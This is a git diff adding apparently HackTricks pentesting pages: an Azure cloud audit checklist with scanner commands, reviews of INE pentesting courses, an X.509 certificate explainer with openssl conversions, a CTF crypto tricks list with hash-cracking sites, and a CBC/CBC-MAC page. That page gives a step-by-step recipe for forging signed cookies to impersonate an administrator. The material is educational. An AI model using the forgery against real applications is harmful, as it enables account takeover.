+Remember that if the **Security Centre Standard Pricing Tier** is being used and **not** the **free** tier, you can **generate** a **CIS compliance scan report** from the azure portal. Go to _Policy & Compliance-> Regulatory Compliance_ \(or try to access [https://portal.azure.com/\#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/22](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/22)\).
+\_\_If the company is not paying for a Standard account you may need to review the **CIS Microsoft Azure Foundations Benchmark** by "hand" \(you can get some help using the following tools\). Download it from [**here**](https://www.newnettechnologies.com/cis-benchmark.html?keyword=&gclid=Cj0KCQjwyPbzBRDsARIsAFh15JYSireQtX57C6XF8cfZU3JVjswtaLFJndC3Hv45YraKpLVDgLqEY6IaAhsZEALw_wcB#microsoft-azure).
+
+### Run scanners
+
+Run the scanners to look for **vulnerabilities** and **compare** the security measures implemented with **CIS**.
+
+```bash
+pip install scout
+scout azure --cli --report-dir
+
+#Fix azureaudit.py before launching cs.py
+#Adding "j_res = {}" on line 1074
+python cs.py -env azure
+
+#Azucar is an Azure security scanner for PowerShell (https://github.com/nccgroup/azucar)
+#Run it from its folder
+.\Azucar.ps1 -AuthMode Interactive -ForceAuth -ExportTo EXCEL
+
+#Azure-CIS-Scanner,CIS scanner for Azure (https://github.com/kbroughton/azure_cis_scanner)
+pip3 install azure-cis-scanner #Install
+azscan #Run, login before with `az login`
+```
+
+### Attack Graph
+
+[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work.
+
+### More checks
+
+* Check for a **high number of Global Admin** \(between 2-4 are recommended\). Access it on: [https://portal.azure.com/\#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/Overview](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview)
+* Global admins should have MFA activated. Go to Users and click on Multi-Factor Authentication button.
+
+
+
+* Dedicated admin account shouldn't have mailboxes \(they can only have mailboxes if they have Office 365\).
+* Local AD shouldn't be sync with Azure AD if not needed\([https://portal.azure.com/\#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/AzureADConnect](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/AzureADConnect)\). And if synced Password Hash Sync should be enabled for reliability. In this case it's disabled:
+
+
+
+* **Global Administrators** shouldn't be synced from a local AD. Check if Global Administrators emails uses the domain **onmicrosoft.com**. If not, check the source of the user, the source should be Azure Active Directory, if it comes from Windows Server AD, then report it.
+
+
+
+* **Standard tier** is recommended instead of free tier \(see the tier being used in _Pricing & Settings_ or in [https://portal.azure.com/\#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/24](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/24)\)
+* **Periodic SQL servers scans**:
+
+ _Select the SQL server_ --> _Make sure that 'Advanced data security' is set to 'On'_ --> _Under 'Vulnerability assessment settings', set 'Periodic recurring scans' to 'On', and configure a storage account for storing vulnerability assessment scan results_ --> _Click Save_
+
+* **Lack of App Services restrictions**: Look for "App Services" in Azure \([https://portal.azure.com/\#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites](https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites)\) and check if anyone is being used. In that case check go through each App checking for "Access Restrictions" and there aren't rules, report it. The access to the app service should be restricted according to the needs.
+
+## Office365
+
+You need **Global Admin** or at least **Global Admin Reader** \(but note that Global Admin Reader is a little bit limited\). However, those limitations appear in some PS modules and can be bypassed accessing the features via the web application.
+
+## AWS
+
+Get objects in graph: [https://github.com/FSecureLABS/awspx](https://github.com/FSecureLABS/awspx)
+
diff --git a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md
new file mode 100644
index 00000000000..2c4c9a30fcc
--- /dev/null
+++ b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md
@@ -0,0 +1,51 @@
+# INE Courses and eLearnSecurity Certifications Reviews
+
+## eLearnSecurity Mobile Application Penetration Tester \(eMAPT\) and the respective INE courses
+
+### Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting)\*\*\*\*
+
+This is the course to **prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**.
+
+I found the course to be a great one for **people that don't have any experience pentesting Android** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience pentesting Android applications **this course taught me some Android basics I didn't know and some new tricks**.
+
+Finally, note **two more things** about this course: It has **great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as **it teach you the basics to be able to understand other Android vulnerabilities**.
+Besides, once you have completed the course \(or before\) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-apps-pentesting/android-app-pentesting/) and learn more tricks.
+
+### Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)\*\*\*\*
+
+When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity.** As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications.
+However, there is a very important difference with the Android course, if you want to follow the labs, I would recommend you to **get a jailbroken iOS or pay for some good iOS emulator.**
+
+As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as **it teach you the basics to be able to understand other iOS vulnerabilities**.
+Besides, once you have completed the course \(or before\) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-apps-pentesting/ios-pentesting/) and learn more tricks.
+
+### [eMAPT](https://elearnsecurity.com/product/emapt-certification/)
+
+> The eLearnSecurity Mobile Application Penetration Tester \(eMAPT\) certification is issued to cyber security experts that display advanced mobile application security knowledge through a scenario-based exam.
+
+The goal of this certificate is to **show** that you are capable of performing common **mobile applications pentests**.
+
+During the exam you are **given 2 vulnerable Android applications** and you need to **create** an A**ndroid** **application** that **exploits** the vulnerabilities automatically. In order to **pass the exam**, you need to **send** the **exploit** **application** \(the apk and the code\) and it must **exploit** the **other** **apps** **vulnerabilities**.
+
+Having done the [**INE course about Android applications pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) **is** **more than enough** to find the vulnerabilities of the applications. What I found to be more "complicated" of the exam was to **write an Android application** that exploits vulnerabilities. However, having some experience as Java developer and looking for tutorials on the Internet about what I wanted to do **I was able to complete the exam in just some hours**. They give you 7 days to complete the exam, so if you find the vulnerabilities you will have plenty of time to develop the exploit app.
+
+In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like **another part of the course to complete your knowledge in Android applications pentesting**.
+
+## eLearnSecurity Web application Penetration Tester eXtreme \(eWPTXv2\) and the INE course related
+
+### Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)\*\*\*\*
+
+This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**.
+Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains **pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities.
+
+I think this course **isn't for web hacking beginners** \(there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**\).** However, ****if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did.
+
+### [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/)
+
+> The eLearnSecurity Web Application Penetration Tester eXtreme \(eWAPTX\) is our most advanced web application pentesting certification. The eWPTX exam requires students to perform an expert-level penetration test that is then assessed by INE’s cyber security instructors. Students are expected to provide a complete report of their findings as they would in the corporate sector in order to pass.
+
+The exam was composed of a **few web applications full of vulnerabilities**. In order to pass the exam you will need to compromise a few machines abusing web vulnerabilities. However, note that that's not enough to pass the exam, you need to **send a professional pentest report detailing** all the vulnerabilities discovered, how to exploit them and how to remediate them.
+**I reported more than 10 unique vulnerabilities** \(most of them high/critical and presented in different places of the webs\), including the read of the flag and several ways to gain RCE and I passed.
+
+**All the vulnerabilities I reported could be found explained in the** [**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**.** However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities.
+
diff --git a/crypto/certificates.md b/crypto/certificates.md
new file mode 100644
index 00000000000..e939f56bdd3
--- /dev/null
+++ b/crypto/certificates.md
@@ -0,0 +1,176 @@
+# Certificates
+
+## What is a Certificate
+
+In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner \(called the subject\), and the digital signature of an entity that has verified the certificate's contents \(called the issuer\). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject.
+
+In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) \(PKI\) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) \(CA\), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate.
+
+The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure \(X.509\)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280.
+
+## x509 Common Fields
+
+* **Version Number:** Version of x509 format.
+* **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information.
+* **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization.
+ * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards.
+ * **Country \(C\)**: Country
+ * **Distinguished name \(DN\)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
+ * **Locality \(L\)**: Local place
+ * **Organization \(O\)**: Organization name
+ * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+ * **State or Province \(ST, S or P\)**: List of state or province names
+* **Issuer**: The entity that verified the information and signed the certificate.
+ * **Common Name \(CN\)**: Name of the certificate authority
+ * **Country \(C\)**: Country of the certificate authority
+ * **Distinguished name \(DN\)**: Distinguished name of the certificate authority
+ * **Locality \(L\)**: Local place where the organisation can be found.
+ * **Organization \(O\)**: Organisation name
+ * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock_skew#On_a_network) problems.
+* **Not After**: The time and date past which the certificate is no longer valid.
+* **Public Key**: A public key belonging to the certificate subject. \(This is one of the main parts as this is what is signed by the CA\)
+ * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA.
+ * **Public Key Curve**: The curve used by the elliptic curve public key algorithm \(if apply\). Like nistp521.
+ * **Public Key Exponent**: Exponent used to derive the public key \(if apply\). Like 65537.
+ * **Public Key Size**: The size of the public key space in bits. Like 2048.
+ * **Signature Algorithm**: The algorithm used to sign the public key certificate.
+ * **Signature**: A signature of the certificate body by the issuer's private key.
+* **x509v3 extensions**
+ * **Key Usage**: The valid cryptographic uses of the certificate's public key. Common values include digital signature validation, key encipherment, and certificate signing.
+ * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature`
+ * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing.
+ * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication`
+ * **Subject Alternative Name:** Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**.
+ * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example \(the last par of the chain\).
+ * **Subject Key Identifier** \(SKI\): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** \(AKI\) extension on issued certificates. It's the hash of the subject public key.
+ * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key.
+ * **Authority Information Access** \(AIA\): This extension contains at most two types of information :
+ * Information about **how to get the issuer of this certificate** \(CA issuer access method\)
+ * Address of the **OCSP responder from where revocation of this certificate** can be checked \(OCSP access method\).
+ * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate.
+ * **CT Precertificate SCTs**: Logs of Certificate transparency regarding the certificate
+
+### Difference between OSCP and CRL Distribution Points
+
+**OCSP** \(RFC 2560\) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.
+**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.
+From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm#:~:text=OCSP%20%28RFC%202560%29%20is%20a,to%20download%20the%20entire%20CRL.&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.).
+
+### What is Certificate Transparency
+
+Certificate Transparency aims to remedy certificate-based threats by **making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users**. Specifically, Certificate Transparency has three main goals:
+
+* Make it impossible \(or at least very difficult\) for a CA to **issue a SSL certificate for a domain without the certificate being visible to the owner** of that domain.
+* Provide an **open auditing and monitoring system that lets any domain owner or CA determine whether certificates have been mistakenly or maliciously** issued.
+* **Protect users** \(as much as possible\) from being duped by certificates that were mistakenly or maliciously issued.
+
+#### **Certificate Logs**
+
+Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large \(say, much less than a thousand worldwide\), and each could be operated independently by a CA, an ISP, or any other interested party.
+
+#### Query
+
+You can query the logs of Certificate Transparency of any domain in [https://crt.sh/](https://crt.sh/).
+
+## Formats
+
+There are different formats that can be used to store a certificate.
+
+#### **PEM Format**
+
+* It is the most common format used for certificates
+* Most servers \(Ex: Apache\) expects the certificates and private key to be in a separate files - Usually they are Base64 encoded ASCII files - Extensions used for PEM certificates are .cer, .crt, .pem, .key files - Apache and similar server uses PEM format certificates
+
+#### **DER Format**
+
+* The DER format is the binary form of the certificate
+* All types of certificates & private keys can be encoded in DER format
+* DER formatted certificates do not contain the "BEGIN CERTIFICATE/END CERTIFICATE" statements
+* DER formatted certificates most often use the ‘.cer’ and '.der' extensions
+* DER is typically used in Java Platforms
+
+#### **P7B/PKCS\#7 Format**
+
+* The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c
+* A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key
+* The most common platforms that support P7B files are Microsoft Windows and Java Tomcat
+
+#### **PFX/P12/PKCS\#12 Format**
+
+* The PKCS\#12 or PFX/P12 format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file
+* These files usually have extensions such as .pfx and .p12
+* They are typically used on Windows machines to import and export certificates and private keys
+
+### Formats conversions
+
+**Convert x509 to PEM**
+
+```text
+openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
+```
+
+#### **Convert PEM to DER**
+
+```text
+openssl x509 -outform der -in certificatename.pem -out certificatename.der
+```
+
+**Convert DER to PEM**
+
+```text
+openssl x509 -inform der -in certificatename.der -out certificatename.pem
+```
+
+**Convert PEM to P7B**
+
+**Note:** The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c. ****A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat.
+
+```text
+openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
+```
+
+**Convert PKCS7 to PEM**
+
+```text
+openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
+```
+
+**Convert pfx to PEM**
+
+**Note:** The PKCS\#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys.
+
+```text
+openssl pkcs12 -in certificatename.pfx -out certificatename.pem
+```
+
+**Convert PFX to PKCS\#8**
+**Note:** This requires 2 commands
+
+**1- Convert PFX to PEM**
+
+```text
+openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
+```
+
+**2- Convert PEM to PKCS8**
+
+```text
+openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
+```
+
+**Convert P7B to PFX**
+**Note:** This requires 2 commands
+
+1- **Convert P7B to CER**
+
+```text
+openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
+```
+
+**2- Convert CER and Private Key to PFX**
+
+```text
+openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
+```
+
diff --git a/crypto/cipher-block-chaining-cbc-mac-priv.md b/crypto/cipher-block-chaining-cbc-mac-priv.md
new file mode 100644
index 00000000000..01d3f011fd1
--- /dev/null
+++ b/crypto/cipher-block-chaining-cbc-mac-priv.md
@@ -0,0 +1,65 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Cipher Block Chaining CBC-MAC
+
+**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## CBC
+
+The easiest attack to test is that if the cookie just the username encrypted.
+
+If the cookie is only the username \(or the first part of the cookie is the username\) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and bruteforce the first byte of the cookie.
+
+## CBC-MAC
+
+CBC-MAC is a method to ensure integrity of a message by encrypting it using CBC mode and keeping the last encrypted block as "signature". This ensures that a malicious user can not modify any part of the data without having to change the signature. The key used for the "encryption" ensures that the signature can't be guessed.
+
+However, when using CBC-MAC, the developer needs to be very careful if the message are not of fixed length. In this example, we will use the fact that there is no protection in place to get the application to sign two messages and build another message by concatenating the two messages.
+
+## Theory
+
+With CBC-MAC, we can generate two signatures `t` and `t'` for the messages `m` and `m'`. By using `m` and `m'` we can forge another message `m''` that will have the same signature as `m'` \(`t'`\). One thing to keep in mind is that the recommended way to use CBC-MAC is to use a NULL IV.
+
+To keep things simple, we are going to work on a single block for each message.
+
+We can see below how signing both messages works \(NB: both signatures are completely independent from each other\):
+
+
+
+If we try to concatenate those messages, the signature is no longer valid \(since `t` is now the IV for the second block where it was only NULL before\):
+
+
+
+However, if we XOR `m'` and `t`, the signature is now `t'`:
+
+
+
+## Implementation
+
+Based on the size of the signature, we can guess that the block size is likely to be 8. With this information, we will split `administrator`:
+
+* `administ`
+* `rator\00\00\00`
+
+We can trivially generate the signature for the first block, by just logging in and retrieving the signature `t`.
+
+For the second block, we want the `m'` XOR `t` to be equal to `rator\00\00\00`. So to generate the second username we will need to XOR `rator\00\00\00` with `t` \(since the application will sign it with a NULL IV instead of `t`\). Once we have this value, we can get the signature `t'`.
+
+Finally, we just need to concatenate `m` and `m'` to get `administrator` and use `t'` as signature.
+
+#### Resume
+
+1. Get the signature of username **administ** = **t**
+2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'**
+3. Set in the cookie the value **administrator+t'** \(**t'** will be a valid signature of **\(rator\x00\x00\x00 XOR t\) XOR t** = **rator\x00\x00\x00**
+
+### CBC-MAC simple attack \(controlling IV\)
+
+If you can control the used IV the attack could be very easy.
+
+To impersonate the user "**administrator**" you can create the user "**Administrator**" and you will have the cookie with the **username+signature** and the cookie with the **IV**.
+
+To generate the cookies of the username "**administrator**" change the first cookie and set the username from "**Administrator**" to "**administrator**". Change the first byte of the cookie of the **IV** so **IV\[0\] XOR "A" == IV'\[0\] XOR "a"**. Using these cookies you can login as administrator.
+
diff --git a/crypto/crypto-ctfs-tricks.md b/crypto/crypto-ctfs-tricks.md
new file mode 100644
index 00000000000..b2529d9dd11
--- /dev/null
+++ b/crypto/crypto-ctfs-tricks.md
@@ -0,0 +1,256 @@
+# Crypto CTFs Tricks
+
+## Online Hashes DBs
+
+* _**Google it**_
+* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
+* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/)
+* [https://crackstation.net/](https://crackstation.net/)
+* [https://md5decrypt.net/](https://md5decrypt.net/)
+* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
+* [https://gpuhash.me/](https://gpuhash.me/)
+* [https://hashes.org/search.php](https://hashes.org/search.php)
+* [https://www.cmd5.org/](https://www.cmd5.org/)
+* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
+* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
+
+## Encoders
+
+Most of encoded data can be decoded with these 2 ressources:
+
+* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
+* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+
+### Substitution Autosolvers
+
+* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
+* [https://quipqiup.com/](https://quipqiup.com/) - Very good !
+
+#### Caesar - ROTx Autosolvers
+
+* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
+
+#### Atbash Cipher
+
+* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
+
+### Similar to BASE64
+
+Check all bases with: [https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
+
+* **Base32** \[_A-Z2-7=_\]
+ * `NBXWYYLDMFZGCY3PNRQQ====`
+* **Base58** \[_123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz_\]
+ * `2yJiRg5BF9gmsU6AC`
+* **Base62** \[_0-9A-Za-z_\]
+ * `g2AextRZpBKRBzQ9`
+* **Base64** \[_A-Za-z0-9+/=_\]
+ * `aG9sYWNhcmFjb2xh`
+* **Base85 --> Like Ascii85**
+* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_\]
+ * `MIc3KiXa+Ihz+lrXMIc3KbCC`
+* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_\]
+ * `DmPsv8J7qrlKEoY7`
+* **MEGAN35** \[_3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5_\]
+ * `kLD8iwKsigSalLJ5`
+* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_\]
+ * `ayRiIo1gpO+uUc7g`
+* **ESAB46** \[\]
+ * `3sHcL2NR8WrT7mhR`
+* **MEGAN45** \[\]
+ * `kLD8igSXm2KZlwrX`
+* **TIGO3FX** \[\]
+ * `7AP9mIzdmltYmIP9mWXX`
+* **TRIPO5** \[\]
+ * `UE9vSbnBW6psVzxB`
+* **FERON74** \[\]
+ * `PbGkNudxCzaKBm0x`
+* **GILA7** \[\]
+ * `D+nkv8C1qIKMErY1`
+* **Citrix CTX1** \[\]
+ * `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
+
+[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+
+### HackerizeXS \[_╫Λ↻├☰┏_\]
+
+```text
+╫☐↑Λ↻Λ┏Λ↻☐↑Λ
+```
+
+* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+
+### Morse
+
+```text
+.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
+```
+
+* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+
+### UUencoder
+
+```text
+begin 644 webutils_pl
+M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
+M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
+F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
+`
+end
+```
+
+* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
+
+### XXEncoder
+
+```text
+begin 644 webutils_pl
+hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
+5Hol-G2xAEE++
+end
+```
+
+* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
+
+### YEncoder
+
+```text
+=ybegin line=128 size=28 name=webutils_pl
+ryvkryvkryvkryvkryvkryvkryvk
+=yend size=28 crc32=35834c86
+```
+
+* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
+
+### BinHex
+
+```text
+(This file must be converted with BinHex 4.0)
+:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
+-38K26%'d9J!!:
+```
+
+* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
+
+### ASCII85
+
+```text
+<~85DoF85DoF85DoF85DoF85DoF85DoF~>
+```
+
+* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
+
+### Dvorak keyboard
+
+```text
+drnajapajrna
+```
+
+* [https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
+
+### A1Z26
+
+Letters to their numerical value
+
+```text
+8 15 12 1 3 1 18 1 3 15 12 1
+```
+
+### Affine Cipher Encode
+
+Letter to num `(ax+b)%26` \(_a_ and _b_ are the keys and _x_ is the letter\) and the result back to letter
+
+```text
+krodfdudfrod
+```
+
+### SMS Code
+
+**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) \(This mode is used when writing SMS\).
+For example: 2=A, 22=B, 222=C, 3=D...
+You can identify this code because you will see **several numbers repeated**.
+
+You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
+
+### Bacon Code
+
+Substitude each letter for 4 As or Bs \(or 1s and 0s\)
+
+```text
+00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
+AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
+```
+
+### Runes
+
+
+
+## Compression
+
+**Raw Deflate** and **Raw Inflate** \(you can find both in Cyberchef\) can compress and decompress data without headers.
+
+## Easy Crypto
+
+### XOR - Autosolver
+
+* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
+
+### Bifid
+
+A keywork is needed
+
+```text
+fgaargaamnlunesuneoa
+```
+
+### Vigenere
+
+A keywork is needed
+
+```text
+wodsyoidrods
+```
+
+* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
+* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
